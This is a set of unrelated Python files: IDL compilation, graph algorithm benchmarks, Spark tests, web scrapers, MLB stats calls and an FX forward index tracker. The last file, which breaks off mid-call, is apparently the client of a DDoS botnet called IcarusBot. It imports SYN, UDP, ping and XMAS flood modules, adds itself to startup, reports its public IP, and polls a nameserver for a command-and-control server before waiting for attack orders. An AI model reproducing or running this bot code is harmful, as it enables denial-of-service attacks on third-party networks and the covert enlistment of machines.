# coding: utf-8
import os
import shutil
from collections import namedtuple
import pprint
import subprocess as sp

class CompileError(Exception):
    pass

def _print(obj):
    """Print wrapper for prettyprint"""
    pp = pprint.pformat(obj, indent=1, width=150, depth=None)
    print(pp)

def _input(*args, **kw):
    """Strip input values"""
    return input(*args, **kw).strip()

def call(cmd, terminal='/bin/bash'):
    """
    Exec command into terminal.

    :param cmd: command string
    :param terminal: path to terminal
    :return: namedtuple('result', ['err', 'out'])
    """
    result = namedtuple('result', ['err', 'out'])
    with sp.Popen(cmd, shell=True, executable=terminal, stdout=sp.PIPE, stderr=sp.PIPE) as pipe:
        err = pipe.stderr.readlines()
        out = pipe.stdout.readlines()
    decode = lambda x: x.decode('utf-8').strip()
    result.err = tuple(map(decode, err))
    result.out = tuple(map(decode, out))
    return result

def idl_listdir(path=None):
    if not path:
        path = os.getcwd()
    listdir = (x for x in os.listdir(path) if x.endswith('.idl'))
    return listdir

def copy_idl(dir_from, dir_to):
    """

    :param dir_from:
    :param dir_to:
    :return:
    """
    for idl in idl_listdir(dir_from):
        path = f'{dir_from}/{idl}'
        shutil.copy(path, dir_to)
        print(f'copied file={path}')

def compile(name, preprocessor_path=None):
    """
    Метод компиляции idl с помощью omniidl в *.py модули.
    Скомпилированные файлы и пакеты с зависимостями будут распологаться в текущем каталоге.

    :param name: имя idl-файла
    :param preprocessor_path: путь для препроцессора, где лежат компилируемые idl
    :return:
    """
    if not preprocessor_path:
        cmd= f'omniidl -bpython -I . {name}'
    else:
        cmd= f'omniidl -bpython -I {preprocessor_path} {preprocessor_path}/{name}'

    res = call(cmd)
    if res.err:
        print(res.err)
        raise CompileError()

def all_compile(path=None):
    """
    Компилиция всех idl-файлов.

    :param path: путь директории, где находятся idl;
    :return: список нескомпилированных idl.
    """
    bad_idl = []
    for idl in idl_listdir(path):
        try:
            compile(idl, path)
        except CompileError:
            bad_idl.append(idl)
    print(f"Compiling are finished. Uncompile idl's: {bad_idl}")
    return bad_idl

if __name__ == '__main__':
    base_dir = '/root/corba/omniORB'
    dir_from = f'{base_dir}/omniORB_install/share/idl/omniORB/'
    dir_to = f'{base_dir}/idl'
    u2000_dir = f'{base_dir}/U2000'

    if not os.path.exists(u2000_dir):
        os.mkdir(u2000_dir)
    os.chdir(u2000_dir)
    copy_idl(dir_from, dir_to)
    all_compile(dir_to)


'''
create_time: 2023/6/17 14:32
author: yss
version: 1.0
'''

#创建一个子进程，子进程打印  我是子进程，父进程打印我是父进程

import os

pid = os.fork()
if pid == 0:
    print('我是子进程',os.getpid())
elif pid > 0:
    print('我是父进程，我的进程id是{},我的子进程id {}'.format(os.getpid(),pid))


from collections import defaultdict

"""
Given an array of strings strs, group the anagrams together. You can return the answer in any order.

An Anagram is a word or phrase formed by rearranging the letters of a different word or phrase, typically using all the original letters exactly once.

Example 1:

Input: strs = ["eat","tea","tan","ate","nat","bat"]
Output: [["bat"],["nat","tan"],["ate","eat","tea"]]
Example 2:

Input: strs = [""]
Output: [[""]]
Example 3:

Input: strs = ["a"]
Output: [["a"]]

Constraints:
1 <= strs.length <= 104
0 <= strs[i].length <= 100
strs[i] consists of lowercase English letters.
"""

class Solution:
    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
        # setup a hashmap with the default values being a list
        res = defaultdict(list)

        # for each string in the list of strings
        for s in strs:
            # setup a count array representing each letter in the alphabet
            count = [0] * 26
            # for each character in the string
            for c in s:
                # get the ascii value of the character subtract it from the ascii value of a and that gives us our index for the count array
                # then each time a letter appears increment the value in the array by 1
                count[ord(c) - ord("a")] +=  1

                # Ex. a -> 80 - 80 = 0 so a is the first index so on so fourth
                # then index 0 == "a" = 1 or count[0] = 1

            # then after the count is created for each string make the count array a tuple because arrays can't be keys then append the string to the array in the hashmap
            res[tuple(count)].append(s)

        # finally return the values in the hashmap
        return res.values()


# -*- coding: utf-8 -*-

from random import randint
from numpy import array
import time
import enum

# Using enum class create enumerations
class E(enum.Enum):
   SPARSE     = 0
   DENSE      = 1
   UNORIENTED = 2
   ORIENTED   = 3
   MAX_INT    = 99999999

class Graph:
#    numberNodes    : number of nodes on the graph
#    startNode      : start node
#    structureKind  : SPARSE or DENSE
#    unoriented     : UNORIENTED or ORIENTED
    def __init__(self, numberNodes, startNode, structureKind, orientation):
        self.numberNodes   = numberNodes
        self.startNode     = startNode
        self.numberEdges   = 0
        self.structureKind = structureKind
        self.orientation   = orientation
        self.graph         = array([ [None] * numberNodes ] * numberNodes)

    def addEdge(self, frm, to, weight, orientation):
        self.graph[frm][to] = weight
        self.numberEdges   += 1

        if (orientation == E.UNORIENTED):
            self.graph[to][frm] = weight
            self.numberEdges += self.numberEdges

    def getGraph(self):

        for i in range(self.numberNodes):
            for j in range(self.numberNodes):
                if i != j:
                    if self.orientation == E.ORIENTED:
                        if self.structureKind == E.SPARSE:

                            edg = 0
                            for e in range(self.numberNodes):
                                if self.graph[i][j] != None:
                                    edg += 1
                                if edg == 2:
                                    break

                            if edg < 2:
                                self.addEdge(i, j, randint(1, 1000), E.ORIENTED)

                        else:
                            self.addEdge(i, j, randint(1, 1000), E.ORIENTED)

                    else:
                        if self.graph[i][j] == None:

                            if self.structureKind == E.SPARSE:
                                edg = 0
                                for e in range(self.numberNodes):
                                    if self.graph[i][j] != None:
                                        edg += 1
                                    if edg == 2:
                                        break

                                if edg < 2:
                                    self.addEdge(i, j, randint(1, 1000), E.ORIENTED)
                            else:

                                self.addEdge(i, j, randint(1, 1000), E.UNORIENTED)

        return self

class Prim():
    def __init__(self, graph):
        self.graph = graph

    def minKey(self, nodeKey, exploredNodes):
        minValue = E.MAX_INT.value
        minIndex = -1

        for i in range(self.graph.numberNodes):
            if not exploredNodes[i] and (nodeKey[i] < minValue):
                minValue = nodeKey[i]
                minIndex = i

        return minIndex

    def findRoute(self):
        ret           = array([None] * self.graph.numberNodes)
        nodeKey       = array([E.MAX_INT.value] * self.graph.numberNodes)
        exploredNodes = array([False] * self.graph.numberNodes)

        nodeKey[0] = 0

        for i in range(self.graph.numberNodes - 1):
            u = self.minKey(nodeKey, exploredNodes)
            exploredNodes[u] = True

            for j in range(self.graph.numberNodes):
                if self.graph.graph[u][j] and not exploredNodes[j] and (self.graph.graph[u][j] < nodeKey[j]):
                    ret[j] = u
                    nodeKey[j] = self.graph.graph[u][j]

        return ret

    def showResult(self):

        res = self.findRoute()

        print("from/to      weight")
        for i in range(1, self.graph.numberNodes):
            print(res[i], " - ", i , "       " , self.graph.graph[i][res[i]])

class Djikstra():
    def __init__(self, graph):
        self.graph = graph

    def minDist(self, nodeKey, exploredNodes):
        minValue = E.MAX_INT.value
        minIndex = -1

        for i in range(self.graph.numberNodes):
            if not exploredNodes[i] and (nodeKey[i] <= minValue):
                minValue = nodeKey[i]
                minIndex = i

        return minIndex

    def findRoute(self):
        ret           = array([E.MAX_INT.value] * self.graph.numberNodes)
        exploredNodes = array([False] * self.graph.numberNodes)

        ret[self.graph.startNode] = 0

        for i in range(self.graph.numberNodes - 1):
            u = self.minDist(ret, exploredNodes)
            exploredNodes[u] = True

            for j in range(self.graph.numberNodes):
                if self.graph.graph[u][j] and not exploredNodes[j] and ret[u] != E.MAX_INT.value and (ret[u] + self.graph.graph[u][j] < ret[j]):

                    ret[j] = ret[u] + self.graph.graph[u][j]

        return ret

outLoop = 15
innerLoop = 20
numberOfNodes = 3
structure = E.SPARSE
orientation = E.ORIENTED

#g = Graph(8, 0, structure, E.UNORIENTED)
#
#g.addEdge(0, 1, 14, E.UNORIENTED)
#g.addEdge(0, 2, 3, E.UNORIENTED)
#g.addEdge(1, 3, 6, E.UNORIENTED)
#g.addEdge(1, 2, 10, E.UNORIENTED)
#g.addEdge(1, 4, 5, E.UNORIENTED)
#g.addEdge(2, 5, 8, E.UNORIENTED)
#g.addEdge(3, 4, 4, E.UNORIENTED)
#g.addEdge(4, 5, 2, E.UNORIENTED)
#g.addEdge(4, 6, 9, E.UNORIENTED)
#g.addEdge(5, 7, 15, E.UNORIENTED)
#
#print(g.graph)
#
#Prim(g).showResult()

#p = Graph(5, 0, structure, E.ORIENTED)
#
#p.addEdge(0, 1, 10, E.ORIENTED)
#p.addEdge(0, 2, 5, E.ORIENTED)
#p.addEdge(1, 2, 2, E.ORIENTED)
#p.addEdge(1, 3, 1, E.ORIENTED)
#p.addEdge(2, 1, 3, E.ORIENTED)
#p.addEdge(2, 3, 9, E.ORIENTED)
#p.addEdge(2, 4, 2, E.ORIENTED)
#p.addEdge(3, 4, 4, E.ORIENTED)
#p.addEdge(4, 0, 7, E.ORIENTED)
#p.addEdge(4, 3, 6, E.ORIENTED)
#
#print(p.graph)
#
#Djikstra(p).findRoute()

print('Algorithm;NumberOfNodes;TypeGraph;Orientation;Loops;Time')

for i in range(outLoop):

    numberOfNodes += 10
    currentGraph = Graph(numberOfNodes, 0, structure, orientation).getGraph()

    accTime = 0
    for j in range(innerLoop):
        start = time.time()
        Prim(currentGraph).findRoute()
        end = time.time()

        accTime += (end - start)
    print('PRIM;' + str(numberOfNodes) + ';' + structure.name + ';' + orientation.name + ';' + str(innerLoop) + ';' + str(accTime))

    accTime = 0
    for j in range(innerLoop):
        start = time.time()
        Djikstra(currentGraph).findRoute()
        end = time.time()

        accTime += (end - start)
    print('DJIKSTRA;' + str(numberOfNodes) + ';' + structure.name + ';' + orientation.name + ';' + str(innerLoop) + ';' + str(accTime))


import faker_example
import manual_example
import transform
import mock_from_schema

from hypothesis import given, settings
from hypothesis import strategies as st
import string
import pytest
from pyspark.sql import SparkSession

import util
from hypothesis_example import description

# run pytest with -s to see the test cases printed during execution

def compare_results(expected, result):
    for case in expected:
        user = case['user']
        species = case['species']
        result_case = [r for r in result if r['user'] == user]
        if len(result_case) == 0:
            pytest.fail(f"Expected case: {case}. Could not find user {user} in result {result}")
        print(f"Result: {result_case}")
        print(f"Expected: {case}")
        assert result_case[0]['species'] == species

# The first time the spark fixture is used, the startup time will be
# part of the test time. Without deadline=None, hypothesis will recognize
# the outlier runtime and mark it as an error, as it can be indicative of
# flaky test behavior.
# https://hypothesis.readthedocs.io/en/latest/settings.html?highlight=deadline#hypothesis.settings.deadline
@settings(deadline=None)
@given(description(), st.emails())
def test_transform_hypothesis(spark_context, description, emails):
    species = description[0]
    desc = description[1]
    test_df = spark_context.parallelize([{'description': desc, 'user': emails}]).toDF()
    expected_df = spark_context.parallelize([{'species': species, 'user': emails}]).toDF()
    df_with_species = transform.apply_species_label(util.species_list, test_df)
    print("description:", desc, "species:", species)

    assert df_with_species.select('species','user').subtract(expected_df).rdd.isEmpty()

def test_transform_manual(spark_context):
    """
    Test apply_species label with a few rows of hand curated test
    data.
    """
    data, expected = manual_example.create_test_data()
    test_df = spark_context.parallelize(data).toDF()
    df_with_species = transform.apply_species_label(util.species_list, test_df)
    with_species = df_with_species.toPandas().to_dict('records')
    compare_results(expected, with_species)

def fake_ids(value):
    if 'species' in str(value):
        return value

def test_transform_faker(spark_context):
    data, expected = faker_example.create_test_data(100)

    test_df = spark_context.parallelize(data).toDF()
    df_with_species = transform.apply_species_label(util.species_list, test_df)
    with_species = df_with_species.toPandas().to_dict('records')
    compare_results(expected, with_species)

def test_transform_faker_distributed(spark_context):
    data, expected = faker_example.create_test_data_distributed(100)

    test_df = spark_context.parallelize(data).toDF()
    df_with_species = transform.apply_species_label(util.species_list, test_df)
    with_species = df_with_species.toPandas().to_dict('records')
    compare_results(expected, with_species)

from schemas import survey_data
def test_transform_schema():
    data, expected = mock_from_schema.generate_data_expected(survey_data, 10)
    df_with_species = transform.apply_species_label(util.species_list, data)
    df_with_species.select("user", "description", "species").show(10, False)
    with_species = df_with_species.toPandas().to_dict('records')
    compare_results(expected, with_species)


import json
import logging

import lxml.etree
import lxml.html

from pyscrapers.core.url_set import UrlSet

def get_my_content(r):
    """
    the return from the server in vk is not a standard HTML.
    this is why we must cut it up and cant use the regular
    'get_real_content' helper.
    """
    r.raise_for_status()
    str_content = r.content.decode(errors='ignore')
    str_content = str_content[str_content.find('<input'):]
    c = str.encode('') + str.encode(str_content) + str.encode('')
    root = lxml.html.fromstring(c)
    return root

def yield_json_objs_and_base(r):
    for x in get_my_content(r).xpath('//a[@onclick]'):
        onclick = x.attrib['onclick']
        if onclick.startswith('return showPhoto'):
            json_str = onclick[onclick.find('{'):onclick.rfind('}') + 1]
            # bas string, need fix lots of things...
            json_str = json_str.replace('\'', '"').replace('jumpTo', '"jumpTo"').replace('z:', '"z":')
            json_obj = json.loads(json_str)
            base = json_obj['temp']['base']
            if base == '':
                continue
            yield json_obj, base

def scrape_vk(user_id: str, session, url_set: UrlSet) -> None:
    logger = logging.getLogger(__name__)
    url = 'https://vk.com/al_photos.php'

    count = 0
    got = 1
    while got:
        got = 0
        data = {
            'act': 'show_albums',
            'al': '2',
            'owner': user_id,
            'offset': count,
        }
        logger.debug('doing request %d', count)
        r = session.post(url, data=data)
        for base, json_obj in yield_json_objs_and_base(r):
            got = get_urls(base, got, json_obj, url_set)
        count += got

def get_urls(base, got, json_obj, url_set):
    largest = 0
    largest_url = None
    min_len = min(len(v) for k, v in json_obj['temp'].items() if k.endswith('_'))
    if min_len == 3:
        for k, v in json_obj['temp'].items():
            if k != 'base':
                size = v[1] * v[2]
                if size > largest:
                    largest = size
                    largest_url = v[0]
        url_set.append(base + largest_url + '.jpg')
        got += 1
    if min_len == 1:
        for k, v in json_obj['temp'].items():
            if k != 'base':
                url_set.append(base + v[0] + '.jpg')
        got += 1
    return got

def get_total_images(logger, session, url, user_id):
    data = {
        'act': 'show_albums',
        'al': '1',
        'owner': user_id,
    }
    r = session.post(url, data=data)
    root = get_my_content(r)

    e_albums = root.xpath('//div[@class="photos_album_title_wrap"]')
    albums = {}
    for x in e_albums:
        name_of_album = x.getparent().getparent().getparent().getparent().attrib['id'].split('?')[0]
        e_len = x.xpath('.//div[@class="photos_album_counter fl_r"]/text()')
        albums[name_of_album] = int(e_len[0])
    logger.debug(albums)
    total_images = 0
    for v in albums.values():
        logger.debug('got [%d] partial images', v)
        total_images += v
    logger.debug('got [%d] potential images', total_images)


#!/usr/bin/env python

'''Plist operation'''

from __future__ import unicode_literals

import re
import zipfile
import biplist

def get_plist_from_ipa(path):
    '''Get plist file from IPA

    @param path: IPA file path
    @return plist bytes
    '''

    plist_file_re = re.compile(r'Payload/.*\.app/Info.plist')

    try:
        ipa = zipfile.ZipFile(path)
    except:
        raise IOError('Failed to read IPA file')

    file_list = ipa.namelist()

    plist_path = ""
    for file_name in file_list:
        if plist_file_re.match(file_name):
            plist_path = file_name
            break

    else:
        raise NameError('Info.plist not found in this IPA')

    try:
        plist = ipa.read(plist_path)
    except:
        raise IOError('Fail to read plist')

    return plist

def get_info(path):
    '''Get plist file from IPA

    @param path: IPA file path
    @return {'version': '', 'build': '', 'identifier': '', 'name':''}
    '''

    base_attrs = {
        'version':    b'CFBundleShortVersionString',
        'build':      b'CFBundleVersion',
        'identifier': b'CFBundleIdentifier',
        'name':       b'CFBundleDisplayName',
    }

    try:
        plist = biplist.readPlistFromString(get_plist_from_ipa(path))
    except:
        raise IOError('Fail to read plist')

    return {k: plist.get(v).decode() for k, v in base_attrs.items()} #pylint: disable=E1103


import json
import requests
from bs4 import BeautifulSoup

# Total Pages
PAGES = 20
START_PAGE = 0
links = []
lines = []

# Scrape Base Links
for i in range(START_PAGE, PAGES):
    # Scrape
    URL = "https://pickupline.net/page/" + str(i) + "?s="
    page = requests.get(URL)
    soup = BeautifulSoup(page.content, "html.parser")

    # Get main content
    content = soup.find(id="main")

    # Get Children
    children = content.findChildren("article", recursive=False)
    for child in children:
        # Get href
        d = child.findChild("div", recursive=False)
        dd = d.findChild("div", recursive=False)
        figure = dd.findChild("figure", recursive=False)
        a = figure.findChild("a", recursive=False)
        href = a.get("href")
        links.append(href)
        # print(href)

    print(str(i) + " done")

# Scrape Actual Lines
for link in links:
    # Define Local Lines
    ourLines = []

    # Define Base url
    base_url = link

    # Remove the first 23 elements bcuz they're just the url stuff
    # Also remove the last char using rstrip (ikr python)
    base_intent = base_url[24:len(base_url)].rstrip()

    # Now, split the base intent into two parts according to the slash
    intents = base_intent.split("/")
    categorical_intent = intents[0]
    sub_intent = intents[1]

    # Remove the substring '-pickup-lines' and hyphens
    sub_intent = sub_intent.replace("-", " ").replace(" pick up lines", "")
    categorical_intent = categorical_intent.replace("-", " ").replace(" pick up lines", "")

    # Scrape
    page = requests.get(link)
    soup = BeautifulSoup(page.content, "html.parser")

    # Find all Table Rows
    elements = soup.findAll('tr')
    for row in elements:
        td = row.findChild("td")
        txt = str(td)
        buf = ""
        started = False
        for char in txt:
            if char == ">":
                started = True
                continue

            if char == "<":
                started = False
                continue

            elif started == True:
                buf += char
        ourLines.append(buf)

    lines.append({"url": base_url, "categorical-intent": categorical_intent,
                 "intent": sub_intent, "lines": ourLines, "count": len(ourLines)})
    print("Done : ", link)

linesJSON = json.dump(lines, open("lines2.json", "w+"))
linksJSON = json.dump(links, open("links2.json", "w+"))


import pybaseball
import requests
import json
import time
from pybaseball import lahman
from pybaseball import schedule_and_record
from pybaseball import statcast, playerid_lookup, statcast_pitcher
from pybaseball import pitching_stats
from pybaseball import cache
from datetime import datetime
from bs4 import BeautifulSoup
import mlbstatsapi

# cache.enable()
def getPlayer(id):
    mlb = mlbstatsapi.Mlb()

    stats = ['career']
    groups = ['hitting', 'pitching']

    status = {}
    player_status = mlb.get_player_stats(id, stats, groups)

    if 'hitting' in player_status:
        status['hitting'] = player_status['hitting']['career'].splits[0].stat.__dict__

        if 'winloss' in player_status['hitting']:
            print(player_status['hitting']['winloss'].__dict__)
    if 'pitching' in player_status:
        status['hitting'] = player_status['pitching']['career'].splits[0].stat.__dict__

    return json.dumps(status)

def getPlayers(teamId=None):
    start = time.time()
    if teamId is not None:
        response = requests.get("https://statsapi.mlb.com/api/v1/teams/" + teamId + "/roster/fullName")

        players = response.text
        return players
    else:
        mlb = mlbstatsapi.Mlb()
        people = mlb.get_people()
        teams = mlb.get_teams()
        players = []

        mlbteams = {}
        for team in teams:
            mlbteams['{}'.format(team.id)] = team

        limit = 10
        i = -1
        while i < limit:
            i = i + 1
            person = people[i]

            player = {
                'id': person.id,
                'fullname': person.fullname,
                'age': person.currentage,
                'team': mlbteams['{}'.format(person.currentteam['id'])].name,
                'position': person.primaryposition.name
            }

            stats = ['career']
            groups = ['hitting', 'pitching']
            params = {'season': 2022}
            player_status = mlb.get_player_stats(person.id, stats, groups, **params)

            hitting_stat = {}
            pitching_stat = {}

            if 'hitting' in player_status:
                hitting_stat = player_status['hitting']['career'].splits[0].stat.__dict__
            if 'pitching' in player_status:
                pitching_stat = player_status['pitching']['career'].splits[0].stat.__dict__

            player['hittingstat'] = hitting_stat
            player['pitchingstat'] = pitching_stat

            # players.append(player[0]['splits'][0])
            players.append(player)

    print('execusion time: {}'.format(time.time() - start))
    # return json.dumps(players)

def getTeams():
    response = requests.get("http://statsapi.mlb.com/api/v1/teams?sportId=1")

    # Parse the JSON response
    teams = response.text

    return teams

def getSchedule(date):
    # today = datetime.now().strftime('%Y-%m-%d')
    response = requests.get("https://statsapi.mlb.com/api/v1/schedule?gameType=R&sportId=1&date=" + date)

    # Parse the JSON response
    schedule = response.text

    return schedule


"""
Author: Gustavo Soares
"""

import numpy as np
import pandas as pd
from bloomberg import BBG
from datetime import timedelta
from pandas.tseries.offsets import BDay

class FXForwardTrackers(object):
    """
    Class for creating excess return indices for currencies using data from bloomberg.
    At the start date, we assume we trade 100 units of the base currency in 1M forward contracts.
    We mark-to-market the position over the month and then roll it into the new 1M forward at the end of the month
    """

    # Currently available currencies
    # TODO add 'DKK', 'ISK', 'SKK', 'HKD', 'CNY', 'MYR', 'THB', 'ARS', 'COP', 'PEN' to the list of currencies
    currencies = ['AUD', 'BRL', 'CAD', 'CHF', 'CLP', 'CZK', 'EUR', 'GBP', 'HUF', 'JPY', 'KRW',
                  'MXN', 'NOK', 'NZD', 'PHP', 'PLN', 'SEK', 'SGD', 'TRY', 'TWD', 'ZAR']

    point_divisor_dict = {'AUD': 10000,
                          'BRL': 10000,
                          'CAD': 10000,
                          'CHF': 10000,
                          'CLP': 1,
                          'CZK': 1000,
                          'EUR': 10000,
                          'GBP': 10000,
                          'HUF': 100,
                          'JPY': 100,
                          'KRW': 1,
                          'MXN': 10000,
                          'NOK': 10000,
                          'NZD': 10000,
                          'PHP': 1,
                          'PLN': 10000,
                          'SEK': 10000,
                          'SGD': 10000,
                          'TRY': 10000,
                          'TWD': 1,
                          'ZAR': 10000}

    fwd_1M_dict = {'AUD': 'AUD1M Curncy',
                   'BRL': 'BCN1M Curncy',
                   'CAD': 'CAD1M Curncy',
                   'CHF': 'CHF1M Curncy',
                   'CLP': 'CHN1M Curncy',
                   'CZK': 'CZK1M Curncy',
                   'EUR': 'EUR1M Curncy',
                   'GBP': 'GBP1M Curncy',
                   'HUF': 'HUF1M Curncy',
                   'JPY': 'JPY1M Curncy',
                   'KRW': 'KRW1M Curncy',
                   'MXN': 'MXN1M Curncy',
                   'NOK': 'NOK1M Curncy',
                   'NZD': 'NZD1M Curncy',
                   'PHP': 'PHP1M Curncy',
                   'PLN': 'PLN1M Curncy',
                   'SEK': 'SEK1M Curncy',
                   'SGD': 'SGD1M Curncy',
                   'TRY': 'TRY1M Curncy',
                   'TWD': 'NTN1M BGN Curncy',
                   'ZAR': 'ZAR1M Curncy'}

    quoted_as_XXXUSD = ['BRL', 'CAD', 'CHF', 'CLP', 'CZK', 'HUF', 'JPY', 'KRW', 'MXN', 'NOK',
                        'PHP', 'PLN', 'SGD', 'TRY', 'TWD', 'ZAR', 'SEK']

    iso_country_dict = {'AUD': 'AU',
                        'BRL': 'BR',
                        'CAD': 'CA',
                        'CHF': 'CH',
                        'CLP': 'CL',
                        'CZK': 'CZ',
                        'EUR': 'EU',
                        'GBP': 'GB',
                        'HUF': 'HU',
                        'JPY': 'JP',
                        'KRW': 'KR',
                        'MXN': 'MX',
                        'NOK': 'NO',
                        'NZD': 'NZ',
                        'PHP': 'PH',
                        'PLN': 'PL',
                        'SEK': 'SE',
                        'SGD': 'SG',
                        'TRY': 'TR',
                        'TWD': 'TW',
                        'ZAR': 'ZA'}

    def __init__(self, ccy_symbol, start_date='1999-12-31', end_date='today'):
        """
        Returns an object with the following attributes:
            - tickers: list with 2 strs with Bloomberg ticker for the spot rates and 1M forward rates
            - spot_rate: Series with the spot rate data
            - fwd: Series with the 1M fwd rate data
            - er_index: Series with the excess return index
            - ts_df: DataFrame with columns 'Spot', 'Fwd', and 'Excess Return Index'
        :param ccy_symbol: str, Currency symbol from Bloomberg
        :param start_date: str, when the tracker should start
        :param end_date: str, when the tracker should end
        """

        assert ccy_symbol in self.currencies, f'{ccy_symbol} not currently supported'

        self.bbg = BBG()
        self.ccy_symbol = ccy_symbol
        self.start_date = pd.to_datetime(start_date)
        self.end_date = pd.to_datetime(end_date)
        self.spot_rate = self._get_spot_rate()
        raw_fwd = self._get_1m_fwd_rate()
        self.country = self.iso_country_dict[self.ccy_symbol]
        self.fh_ticker = 'fx ' + self.country.lower() + ' ' + self.ccy_symbol.lower()
        self.df_metadata = self._get_metadata()

        # calculate forward outrights
        fwd_outrights = self.spot_rate + raw_fwd / self.point_divisor_dict[self.ccy_symbol]
        self.fwd_rate_bbg_data = fwd_outrights.fillna(method='ffill')

        # get all quotes vs. the USD
        if self.ccy_symbol in self.quoted_as_XXXUSD:
            bbg_raw_spot_data = 1/self.spot_rate
            fwd_outrights = 1/self.fwd_rate_bbg_data
        else:
            bbg_raw_spot_data = self.spot_rate
            fwd_outrights = self.fwd_rate_bbg_data

        self.df_tracker = self._calculate_tr_index(bbg_raw_spot_data, fwd_outrights)
        self.df_tracker = self._get_tracker_melted()

    @staticmethod
    def _calculate_tr_index(spot_rate, fwd_rate):

        ts_df = pd.concat([spot_rate, fwd_rate], axis=1, sort=True).fillna(method='ffill').dropna()
        ts_df.columns = ['spot', 'fwd_1m']
        er_index = pd.Series(index=ts_df.index)
        fwd_mtm = pd.Series(index=ts_df.index)
        st_dt = ts_df.index[0]
        er_index.iloc[0] = 100.
        strike = ts_df['fwd_1m'].iloc[0]
        holdings = 100. / strike
        # TODO: check if we need to use proper calendar for settlement_date calculation
        settlement_date = st_dt + timedelta(days=30) + BDay(2)
        last_rebalance = st_dt

        for d in ts_df.index[1:]:
            # TODO: check if we need to use proper calendar for day_count calculation
            day_count = (settlement_date - d).days

            spot_d = ts_df.loc[d, 'spot']
            fwd_d = ts_df.loc[d, 'fwd_1m']

            # Using DC 30/365 convention for mtm of the foward
            fwd_mtm[d] = np.interp(float(day_count), [2, 32], [spot_d, fwd_d])
            er_index[d] = er_index[last_rebalance] + holdings * (fwd_mtm[d] - strike)
            if d >= settlement_date:
                strike = ts_df.loc[d, 'fwd_1m']
                holdings = er_index[d] / strike
                settlement_date = d + timedelta(days=30) + BDay(2)
                last_rebalance = d

        return er_index.to_frame('er_index')

    def _get_spot_rate(self):
        spot_rate_bbg_ticker = self.ccy_symbol + ' Curncy'
        bbg_raw_spot_data = self.bbg.fetch_series(securities=spot_rate_bbg_ticker,
                                                  fields='PX_LAST',
                                                  startdate=self.start_date,
                                                  enddate=self.end_date)
        bbg_raw_spot_data.columns = [self.ccy_symbol]
        bbg_raw_spot_data = bbg_raw_spot_data.fillna(method='ffill').dropna()
        return bbg_raw_spot_data

    def _get_1m_fwd_rate(self):

        bbg_raw_fwd_data = self.bbg.fetch_series(securities=self.fwd_1M_dict[self.ccy_symbol],
                                                 fields='PX_LAST',
                                                 startdate=self.start_date,
                                                 enddate=self.end_date)
        bbg_raw_fwd_data.columns = [self.ccy_symbol]
        bbg_raw_fwd_data = bbg_raw_fwd_data.fillna(method='ffill').dropna()
        return bbg_raw_fwd_data

    def _get_metadata(self):
        df = pd.DataFrame(index=[0],
                          data={'fh_ticker': self.fh_ticker,
                                'asset_class': 'FX',
                                'type': 'currency forward',
                                'exchange_symbol': self.ccy_symbol,
                                'currency': 'USD',
                                'country': self.country,
                                'maturity': 1/12})
        return df

    def _get_tracker_melted(self):
        df = self.df_tracker[['er_index']].rename({'er_index': self.fh_ticker}, axis=1)
        df['time_stamp'] = df.index.to_series()
        df = df.melt(id_vars='time_stamp', var_name='fh_ticker', value_name='value')
        df = df.dropna()
        return df


# Keen to start
import bandwidth_ddos
import getpass
import json
import math
import os
import ping_flood
import requests
import scan_flood
import shutil
import signal
import socket
import speedtest  # This is contained within the working directory
import syn_flood
import sys
import threading
import multiprocessing as mp
import time
import udp_flood
import xmas_attack
# import win10toast
from os import remove
from sys import argv
from config import API_URL
from enum import Enum
from socket import timeout
# from win10toast import ToastNotifier

BOT_ID_NAME = ''  # Replace this for each new bot handed out.
NUM_PACKETS_TO_SEND = 1000000000

attackTypes = [
    "SYN_FLOOD",
    "UDP_FLOOD",
    "PING_FLOOD",
    "SCAN_FLOOD",
    "XMAS_FLOOD",
    "BANDWIDTH_DDOS"
]

def truncate(n, decimals=0):
    multiplier = 10 ** decimals
    return int(n * multiplier) / multiplier

class IcarusBot:
    """
    A class used to represent the bot
    """

    def __init__(self):
        """
                The process of the init is:
                    1. Setup basics
                    2. Start updating with nameserver (let it know we exist) as a separate 'Thread'
                    3. Ask the nameserver where the active C2 server is. It will continue asking every 5 seconds until told.
                    4. It will then bind with the ip::port of the C2, then sending a basic status update.
                    5. It will then call the main_loop(), which will sit and wait for a response from the C2 server for a command.
                        5.1: Refer to the main_loop() function for details about how it handles the protocol.
        """
        global BOT_ID_NAME
        global NUM_PACKETS_TO_SEND
        BOT_ID_NAME = sys.argv[0].split("\\")[-1].split(".")[0]
        print(BOT_ID_NAME, "IS RUNNING")
        print("GAUGING SPEED")
        st = speedtest.Speedtest()
        st.get_servers()
        st.get_best_server()
        st.upload()
        self.uploadBandwidth = truncate(st.results.dict()["upload"] / 1024 / 1024, 2)
        print("SPEED GAUGED:", self.uploadBandwidth)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # UDP
        self.bot_id = BOT_ID_NAME  # should be random or grabbed somehow from victim computer
        self.ip = requests.get('https://api.ipify.org').content.decode('utf8')
        self.c2_server_details = ()
        self.status = 'STARTED'
        self.attack_type = 'NONE'
        self.attack_runtime = 0  # Used for tracking duration of attack.
        self.target_ip = ''
        self.exceptionsThrown = 0  # Tracks errors thrown during operation.
        # This is to deal with the active subprocess
        self.mp = None
        # This will constantly run and update with the nameserver.
        threading.Thread(target=self.update_with_nameserver, daemon=True).start()
        # Now we go and look for the C2 server.
        add_to_startup()
        while True:
            print("contacting nameserver")
            nameserver_available = False
            # This will loop until the nameserver has an answer.
            while not nameserver_available:
                self.c2_server_details = tuple(requests.get(f'{API_URL}/api/lookup/c2').text.split("::"))
                print(self.c2_server_details)
                if self.c2_server_details[0] != 'not_active' and self.c2_server_details[1] != 'not_active':
                    # there is a server available, let's go ahead and connect, ignoring the nameserver again until they disconnect.
                    nameserver_available = True
                    time.sleep(5)
            # Now that we've got the C2 server IP, let's go ahead and setup the socket for connecting.
            print("nameserver found")
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # UDP
            self.sock.connect((self.c2_server_details[0], int(self.c2_server_details[1])))
            self.main_loop()
            # This means that the C2 server has been inactive, so we restart the process of searching for the next C2 server.
            self.sock.close()

    def exit_gracefully(self, signum, frame):
        """handle bot exit gracefully"""
        print("\\EXITING WITH SIGNAL", signum)
        self.update_thread.cancel()

    def update_with_nameserver(self):
        """
        Sleeps for 2 seconds before notifying with the nameserver of its presence.
        The nameserver will kick us off after 30 seconds of inactivity, so 2 seconds seems ok.
        """
        while True:
            time.sleep(2)
            # We don't care about the outcome.
            r = requests.post(f'{API_URL}/api/lookup/bot/update',
